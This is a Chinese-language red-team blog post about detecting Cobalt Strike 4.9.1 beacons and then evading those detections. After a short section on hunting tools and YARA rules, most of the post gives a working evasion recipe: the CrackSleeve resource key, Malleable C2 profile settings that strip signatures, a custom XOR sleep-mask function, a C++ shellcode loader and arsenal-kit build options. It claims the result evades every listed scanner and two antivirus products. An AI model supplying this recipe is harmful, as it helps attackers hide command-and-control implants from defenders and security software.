CobaltStrike的狩猎与反狩猎 Link to heading

0x01 前言 Link to heading

又到了xxx的时间了,在对红队基础设施的准备时写下的这篇文章

0x02 开始狩猎 Link to heading

CobaltStrike版本:4.9.1

不做任何配置启动teamserver

image-20240517235439110

使用默认配置的生成x64位beacon,上线pid为3040

image-20240517235936475

0x021 BeaconEye Link to heading

BeaconEye 的核心原理是通过扫描CobaltStrike中的内存特征,并进行Beacon Config扫描解析出对应的Beacon信息

BeaconEye是基于.NETFramework 4.8框架开发的,至少需要.net4.0以上,为了解决真实环境下低版本服务器没有.net4.0以上的环境,可以使用EvilEye替代BeaconEye,EvilEye是Golang版本的BeaconEye

我目前使用的测试环境为Windows Server 2008,所以直接使用EvilEye进行检测,可以看到能直接从内存中提取出Beacon的信息

image-20240518000757786

0x022 Hunt-Sleeping-Beacons Link to heading

Hunt-Sleeping-Beacons项目的主要功能是帮助广大研究人员在运行时或其他正在运行进程的上下文场景中识别休眠的Beacon

可以看到Hunt-Sleeping-Beacons可以检测出异常的进程,但是我在实际测试中发现无法对x86进程进行检测

image-20240518001945217

0x023 Yara Link to heading

Yara是一个旨在(但不限于)帮助恶意软件研究人员识别和分类恶意软件样本工具

Elastic安全公司开源检测CobaltStrike的yara规则

Google GCTI开源检测CobaltStrike的yara规则

使用Elastic的yara规则检测beacon,可以看到命中了6条规则

image-20240518002338057

使用-s参数打印出匹配的字符串

image-20240518002921163

0x024 Hollows_Hunter Link to heading

hollows_hunter用于扫描所有正在运行的进程,识别各种潜在的恶意植入物,如替换/植入的PE、shellcode、挂钩(hook)以及内存中的修补程序等

顺带提一嘴,Hollows_Hunter的作者Aleksandra Doniec在我看来是一位顶尖的安全研究员,开源了pe_to_shellcodeprocess_overwriting等优秀的作品,真正左右手互博

通过hollows_hunter可以很轻松的检测到一些异常的进程

image-20240518004719411

0x03 反狩猎 Link to heading

针对以上问题,CobaltStrike官方在博客中提供了一些解决方法

0x031 Yara bypass Link to heading

0x0311 字符串处理 Link to heading

可以看到Windows_Trojan_CobaltStrike_ee756db7匹配了很多字符串,我决定先看看这些字符串都是从哪里来的。

image-20240518110112247

CobaltStrike在4.x之后,会把资源文件加密存放到cobaltstrike-client端的sleeve目录中,需要使用CrackSleeve对资源文件进行解密

CobaltStrike4.9.1的key如下,需要自行替换一下

private static byte[] OriginKey = {-1, 12, -6, 65, 7, -47, 91, 48, 17, 61, 29, 43, -99, -23, 21, 109};
private static byte[] CustomizeKey = {-1, 12, -6, 65, 7, -47, 91, 48, 17, 61, 29, 43, -99, -23, 21, 109};

对cobaltstrike-client及解密的Resource进行搜索,最后在default.profile发现了结果,而且与Windows_Trojan_CobaltStrike_ee756db7匹配的规则一致

image-20240518111451906

把他复制出来,并删除stage里面内容作为Malleable-C2来使用,重新启动server,生成beacon上线

image-20240518111742768

再次使用yara检测发现字符串匹配特征已经少了很多,但是还有一些存在

image-20240518112118978

既然profile中的特征已经去除了,那么剩余的规则要么在原始beacon.dll中存在,要么就是生成的exe时出现的特征,先看看原始beacon.dll吧,使用yara单独对文件进行检测,可以明显的看到,确实是在原始beacon.dll中存在的特征

image-20240518112318454

针对这种情况,CobaltStrike提供了可以从profile中使用strrep来替换指定的字符串,把其中的一个特征替换为空

transform-x64 {
    strrep "beacon.x64.dll" "";
}

image-20240518112908819

再次生成beacon,运行发现ee756db7规则直接就消失了

image-20240518113108536

???我看了一下Windows_Trojan_CobaltStrike_ee756db7的判定规则,发现该规则需要至少6个命中才会判定

image-20240518113154292

虽然这种方法简单且有效,但是从实际考虑来说,我们不应该全部都这么做,因为无法确定其他安全公司使用的规则,如果修改了判断规则为3个你只修改其中一个,那肯定是不行的,并且有些格式化字符串也不应该直接修改,否则可能会给程序带来不可意料的结果,如Windows_Trojan_CobaltStrike_3dc22d14中还检测了一些格式化字符串

当然也不是没有解决方法。那就是sleepmask kit套件,后面会详细介绍

0x0312 MZ头/PE头处理 Link to heading

可以看到Windows_Trojan_CobaltStrike_1787eef5的特征为4D 5A,很明显该处检测的是MZ

image-20240518120434746

可以从内存中看到,确实存在该特征

image-20240518120631706

针对这种情况,CobaltStrike提供了可以在profile中配置 Stage.magic_mz_*/Stage.magic_pe_*对其进行修改

官方建议:需要注意的是,对于magic_mz_* 选项,提供的值必须是有效的(无)操作码,因为它们是作为shellcode存根的一部分执行的第一条指令。通常情况下,这将是pop regA,push regA的某种变体,因为后一条指令撤消了第一条指令,但请参阅此处以获得有关配置此选项的更多指导

修改mz头

set magic_mz_x86 "KC@H"; # ASM = dec ebx, inc ebx,inc eax, dec eax
set magic_mz_x64 "A[AS"; # ASM = pop r11, push r11

修改pe头

set magic_pe "AR"; # 随机的两个值

修改完成后在内存中的效果

image-20240518122456963

使用yara进行检测的前后对比

image-20240518122716965

然而,这种修改方式是有限的,因为我们在每种情况下只能修改几个字节,所以显然更健壮的YARA签名仍然会触发

同时官方还提供了一个Stage.stomppe用于轻微混淆内存中的 beacon dll,但是我在测试发现设置stomppe为true时,PE头中的仅仅在特征处增加了一个IMAGE_FILE_RELOCS_STRIPPED

image-20240518141851580

未设置stomppe时

image-20240518142201207

从微软的文档来看,我并不能明白这么做有什么好处,感觉很鸡肋,比较了解的师傅们回答我一下

image-20240518142358377

0x0313 清理反射加载器 Link to heading

当Beacon被反射加载到内存中时,它会导致两个内存分配:原始Beacon DLL(实际上将执行shellcode存根和反射加载器函数)和虚拟Beacon DLL(正确加载到内存中并准备就绪)

在内存中的情况如下,RWX存储器区域对应于虚拟信标DLL,而RX区域则对应于原始信标DLL

image-20240518124308612

同时原始信标DLL中也存在可疑字符串。这些都可以通过内存中的YARA扫描找到

前面的是原始beacon,后面的是配置strrep “beacon.x64.dll” “";去除字符串后的内存,还应该把ReflectiveLoader这个非常明显的特征给去除掉

image-20240518125603435

扯远了,回到正题,针对这种情况,CobaltStrike提供了可以在profile中配置Stage.cleanup选项为true,对原始Beacon DLL进行清除,

仅保留虚拟Beacon DLL,一旦启动Beacon,就不再需要原始Beacon DLL了

set cleanup "true";

清理前后的内存对比

image-20240518133656176

yara检测结果如下,很明显清除原始beacon dll后有些检测已经从2个变成一个了

image-20240518142902423

0x0314 配置混淆 Link to heading

通过配置Stage.obfuscate为true,可以实现反射加载器复制Beacon,而不带它的DLL头,这就意味着在内存中无法再找到反射加载程序存根,而且这个选项还会混淆:

  • .text section
  • Section names
  • Import table
  • Dos/Rich Header (this is technically not masked but overwritten with random data)

大概的示例图如下:

obfuscated_beacon

这项设置可移除Beacon堆中的绝大部分字符串

set obfuscate "true";

后面是配置obfuscate为true的内存,可以看到直接去除掉了dll头部

image-20240518145141448

yara检测设置obfuscate为true的前后对比

image-20240518145640501

0x0315 Sleep_Mask Link to heading

官方解释如下:

image-20240518151457439

在启用Sleep_Mask之前,先了解一下userwx配置

set userwx "false";

反射加载时是否要把内存设置为可读可写可执行,默认为RWX,设置为false时内存设置为RX

image-20240518152236236

然后配置启用sleep_mask

set sleep_mask "true";

正如官方所说,确实对字符串进行了加密,但是会多出一条新的规则,很明显sleep_mask默认的规则已经被检测了

image-20240518152747324

在内存中也确实找到了这个规则

image-20240518153136773

不是说sleep_mask会屏蔽自己吗?其实这项规则恰恰匹配的就是sleep_mask屏蔽的方法,如下图所示

sleep_mask

使用arsenal-kit的sleepmask进行配置

在common_mask.c中自定义我们的算法

/* My a beacon section
 *   First call will mask
 *   Second call will unmask
 */
void my_mask_section(SLEEPMASKP * parms, DWORD a, DWORD b) {
   char key[] = "cf81d743beef8422";
   size_t key_lenght = sizeof(key) - 1;
   while (a < b) {
      *(parms->beacon_ptr + a) ^= key[a % key_lenght];
      a++;
   }
}

image-20240518155631310

最后重新构建并重新加载.cna脚本,以使更改生效

image-20240518161439292

yara检测使用自定义算法的beacon,最后只剩一条特征了

image-20240518161907320

在内存中默认算法和自定义加密算法的对比

image-20240518162316466

0x0316 加载器特征去除 Link to heading

0x03161 shellcode loader Link to heading

最后的这个特征,其实是生成exe时附带的。如果使用shellcode loader进行上线这一个部分就不需要更改了

不过使用shellcode loader要注意需要对存放shellcode的内存进行加密或者清理,非常简单的代码,主要是为了演示

#include<iostream>
#include<windows.h>
#include<fstream>

using namespace std;

int main()
{
    // shellcode raw 
	char filePath[] = "./payload_x64.bin";
	ifstream file(filePath, ios::binary | ios::ate);
	if (!file) {
		return -1;
	}
	int fileSize = file.tellg();
	file.seekg(0, ios::beg);

	char* buffer = new char[fileSize];
	if (!file.read(buffer, fileSize))
	{
		return -2;
	}
	void* exec = VirtualAlloc(0, fileSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	memcpy(exec, buffer, fileSize);

    // 对buffer进行加密
	string key = "cf81d743beef8422";
	for (int i = 0; i < fileSize; i++)
	{
		buffer[i] = buffer[i] ^ key[i % key.length()];
	}

	((void(*)())exec)();

	return 0;
}

效果如下

image-20240520115058951

image-20240520115153924

0x03161 源码修改 Link to heading

当然如果你追求完美,可以接着往下看,不过首先说明,通过套件的方式进行修改的只能在生成exe文件的时候有效,shellcode还是需要使用完成在内存进行加密

首先先定位一下特征,我直接使用ida对该字节码进行搜索

image-20240520115851311

伪代码看一下,看起来是//./pipe/MSSE-随机整数-server的通道生成

image-20240520120257965

在CobaltStrike的博客中有提到这个问题,指明了可以通过Artifact Kit中的src-common/bypass-pipe.c进行修改

image-20240520121122963

当然,如果你不想使用多余的套件,可以自行反编译修改并打包原始beacon.dll进行

我这边就演示在bypass-pipe.c中进行修改,注释部分的是Artifact Kit中默认的,该方法也已经被yara标记了,我做的只是简单的字符串隐藏

image-20240520121604054

因为使用了arsenal-kit中的artifact-kit和sleepmask-kit,所以直接修改arsenal-kit配置文件生成一个套件即可

修改的位置如下:

  • /arsenal-kit/kits/artifact/build.sh:49-51行,给它注释掉就不会报错了
  • /arsenal-kit/arsenal_kit.config:16行,设置include_sleepmask_kit=“true”,因为还启用了sleepmask-kit

接下来是Artifact kit options和Sleepmask kit options,根据实际情况修改即可

#### Artifact kit options
artifactkit_technique="pipe"
artifactkit_allocator="HeapAlloc"
artifactkit_stage_size=310272
artifactkit_include_resource="false"
artifactkit_stack_spoof="false"
artifactkit_syscalls_method="indirect"

#### Sleepmask kit options
sleepmask_version="49"
sleepmask_sleep_method="WaitForSingleObject"
sleepmask_mask_text_section="true"
sleepmask_syscalls_method="indirect"

运行/arsenal-kit/build_arsenal_kit.sh生成即可,生成后的路径为/arsenal-kit/dist/

image-20240520122739929

加载该套件,重新生成beacon,运行上线,使用yara对进程进行检测,可以看到和shellcode loader上线一样是检测不到的

image-20240520123104006

以上是x64的修改,x86也同样适用,不过x86需要额外修改一下2个位置

  • /arsenal-kit/kits/artifact/src-common/bypass-pipe.c中的DWORD server_thread(LPVOID whatever) 方法

    打乱一下它的结构就行

    image-20240520124230837

  • /arsenal-kit/kits/artifact/src-common/patch.c

    也是打乱一下结构

    image-20240520124403120

0x04 效果测试 Link to heading

其实到了这一步已经能解决狩猎中的所有检测了

image-20240520125918091

yara静态检测

image-20240520125142238

yara内存检测

image-20240520125344815

BeaconEye/EvilEye

image-20240520125533843

Hunt-Sleeping-Beacons

image-20240520125640009

Hollows_Hunter

image-20240520125817678

配合shellcode loader对抗大部分杀软了

卡巴内存扫描

image-20240520140918116

火绒

image-20240520142356910

0x05 结语 Link to heading

到此为止,配合一下自定义的Malleable-C2足以应付大部分红队场景,如果还想进一步,建议配合unhook、堆栈欺骗等技术

嘿嘿,如果你以为这就结束了,那就错了,如果说我针对Artifact Kit套件进行yara打标呢?以下是我找另一位师傅拿的它自己制作好的免杀马,上面是Elastic的检测,下面是自己针对Artifact Kit套件写的规则

image-20240531231133921